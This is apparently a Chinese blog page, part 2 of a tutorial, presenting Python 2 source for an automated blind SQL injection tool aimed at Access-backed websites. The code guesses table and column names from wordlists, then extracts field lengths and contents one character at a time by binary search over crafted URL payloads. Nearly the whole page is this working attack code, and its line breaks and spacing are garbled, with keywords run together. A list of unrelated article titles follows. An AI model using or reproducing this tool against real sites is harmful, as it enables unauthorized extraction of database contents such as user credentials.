#coding=gb2312

importurllibimportstring#定义Access注入函数

classAccessInject():def __init__(self,url):

self.url=url

self.tableNames=[]

self.cloumnNames=[]

self.length=0#定义获取表名的函数,使用文件猜解的方式

#主要SQL语句:.and exists (select * from 数据库表名)

defgetTableName(self):

n=0

tablefile= open("table.txt")for line intablefile.readlines():

line=string.strip(line)

sql= string.join(['%20and%20exists%20(select%20*%20from%20',line,')'],'')

page=urllib.urlopen(self.url).read()

pagex=urllib.urlopen(self.url+sql).read()if page==pagex:

self.tableNames.append(line)else:continue

if len(self.tableNames)==0:

n=0print '未猜解到表名.'

returnnelse:

n=len(self.tableNames)print '存在表:'

for t inself.tableNames:printtreturnnprint ''

#定义获取列名的函数

#主要SQL语句:and exists (select 字段名 from 表名)

defgetColumnName(self,TN):

column= open("columns.txt")for columnline incolumn.readlines():

columnline=string.strip(columnline)

sql= string.join(['%20and%20exists%20(select%20',columnline,'%20from%20',TN,')'],'')

page=urllib.urlopen(self.url).read()

pagex=urllib.urlopen(self.url+sql).read()if page==pagex:

self.cloumnNames.append(columnline)else:continue

if len(self.cloumnNames)==0:print '未猜解出列名.'

else:print '存在列:'

for c inself.cloumnNames:printc#定义获取字段长度的函数

#主要使用二分法

#主要SQL语句:and (select top 1 len(字段) from 表名)> n

def getColumnLenth(self,TN,CN,f1=0,f2=36):

page=urllib.urlopen(self.url).read()while f1<=f2:

mid=(f1+f2)/2u=self.url+'%20and%20(select%20top%201%20len%20('u+=CN

u+=')%20from%20'u+=TN

u+=')>'ux=u+str(mid)

pagex=urllib.urlopen(ux).read()if page==pagex:

uy=u+str(mid+1)

pagey=urllib.urlopen(uy).read()if page!=pagey:

self.length=mid+1

print CN,'内容长度:',self.lengthreturnself.lengthbreak

else:

f1=mid+1

else:

f2=mid#定义获取字段内容的函数

#主要使用二分法

#主要SQL语句:and (select top 1 asc(mid(字段名,1,1)) from 表名)>0

defgetContent(self,TN,CN,lenth):

content=''page=urllib.urlopen(self.url).read()for n in range(1,lenth+1):

f1=32f2=128

while f1<=f2:

mid=(f1+f2)/2url=self.url+"%20and%20(select%20top%201%20asc%20(mid("url+=CN

url+=','url+=str(n)

url+=",1))%20from%20"url+=TN

url+=")>"urlx=url+str(mid)

pagex=urllib.urlopen(urlx).read()if page==pagex:

urly=url+str(mid+1)

pagey=urllib.urlopen(urly).read()if page!=pagey:

content+=chr(mid+1)break

else:

f1=midelse:

f2=midprint CN,'内容:',content

sql注入python编程_Python编写SQL注入工具(2)相关推荐

  1. python防止sql注入的方法_python解决sql注入以及特殊字符

    python往数据库插入数据, 基础做法是: cur=db.cursor() sql = "INSERT INTO test2(cid, author, content) VALUES (1 ...

  2. 机器人python编程_python快速的制作一个机器人聊天示例

    1 首先我们打开我们的python编辑器,这里我们用到的是pycharm,我们点击右键,选择新建选项.在我们的项目文件中创建一个新项目. 2 在新创建的项目文件中,打开python编程界面,输入图中所 ...

  3. 盘点Python编程的简易版自动化工具——ADB史上全操作

    点击上方"IT共享之家",进行关注 回复"资料"可获赠Python学习福利 今 日 鸡 汤 仰天大笑出门去,我辈岂是蓬蒿人. 大家好,我是皮皮,今天给大家讲讲A ...

  4. python编写sql注入工具毕业设计_Python编写SQL注入工具(2)

    #coding=gb2312 importurllibimportstring#定义Access注入函数 classAccessInject():def __init__(self,url): sel ...

  5. python网页服务器_python编写简单网页服务器

    这篇文章主要介绍了关于python 编写简单网页服务器,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下 IDE:Pycharm sever.py #!/bin/python #-*- c ...

  6. python 编程(编写汽车保养时间表)

    [ 声明:版权所有,欢迎转载,请勿用于商业用途. 联系信箱:feixiaoxing @163.com] 有车的同学都知道,一般4s给出的保养周期表和汽车厂给出的保养时间不一样.比如火花塞,有的4s要求 ...

  7. 哪个软件可以用来python编程_python编程用哪个软件

    Python是编程入门不错的选择,现在也有不少的程序员业余时间会研究这门编程语言. 学习Python有时候没有第一时间找到好工具,会吃不少的苦头.毕竟好的工具能将工作效率多倍速提升.(推荐学习:Pyt ...

  8. python助手_python编写学习助手0

    项目原因 为了解决学习知识后不及时复习而导致遗忘的问题,准备写一个桌面助手,采用艾宾浩斯记忆法,对每次学习的内容排布复习计划. 第一步是做出最简单的文本列表,里面是待办事项,每个复习待办事项都会有符合 ...

  9. 单词九连猜python编程_python实现猜单词游戏

    本文实例为大家分享了python实现猜单词游戏的具体代码,供大家参考,具体内容如下 0.效果 1.代码 # 猜单词游戏 import random #添加 WORDS = ("python& ...

  10. python编程(编写opengl程序)

    [ 声明:版权所有,欢迎转载,请勿用于商业用途. 联系信箱:feixiaoxing @163.com] opengl作为跨平台的代表,本身使用很多.记得云风,也就是之前网易的主程,他写过一个ejoy2 ...

最新文章

  1. linux ubunt 安装软件的前期准备——更新源的更换
  2. [No000053]我25岁了,是应该继续挣钱,还是选择自己的爱好?--正好庆祝自己25岁生日...
  3. python取三位小数_python保留小数位的三种实现方法
  4. 《C#高级编程》 读书心得1--核心C# 几点你可能没注意,但很基础的小东西。
  5. 从实例一步一步入门学习SpringCloud的Eureka、Ribbon、Feign、熔断器、Zuul的简单使用(附代码下载)
  6. Oracle查询忽略大小写的实现方法
  7. 计算机专业哪些证书可以抵个税,2020年度个人所得税汇算清缴进行时 职业资格证书有哪些能抵扣个税?...
  8. 阿里云ECS使用cloudfs4oss挂载OSS
  9. Dandan's lunch
  10. 参数控制c语言代码走向,C语言可变参数完全解读
  11. 职业高中计算机英语教案,职高英语shopping教学设计.doc
  12. ggplot2绘图如何根据一个变量即区分颜色又区分深浅?
  13. java poi 页码,apache poi页码
  14. HDU 2955 Robberies(概率DP,01背包)题解
  15. java 冒泡算法_关于java中的冒泡算法
  16. java生成word排版_java生成word的几种方案(转)
  17. c语言无法定位程序输入点 于动态链接库,无法定位程序输入点于动态链接库?解决方法步骤...
  18. 深入java虚拟机 视频_深入理解Java虚拟机全套完整视频教程
  19. iOS 图片引起的崩溃
  20. 项目管理知识体系指南(五)项目时间管理

热门文章

  1. php+mysql数据库语法错误_求教:PHP+MYSQL制作用户登录系统问题,总是提示数据库查询语句语法不对。$sql=mysql_query(。。。)这行...
  2. unity读取json文件以及反序列化Dic示例
  3. python 窗体k线图_在GUI窗口中绘制一个茅台股票K线图
  4. JavaScript —— Symbol数据类型之不延伸
  5. linux6.5输错密码锁定,干货分享:解决redhat6.5登陆后跳回Login,循环登陆问题
  6. 重学Es6 Promise
  7. ××× L2TP over IPSec 配置
  8. React源码分析 - 组件初次渲染
  9. 谁用光了磁盘?Docker System命令详解
  10. 静态库与动态库的制作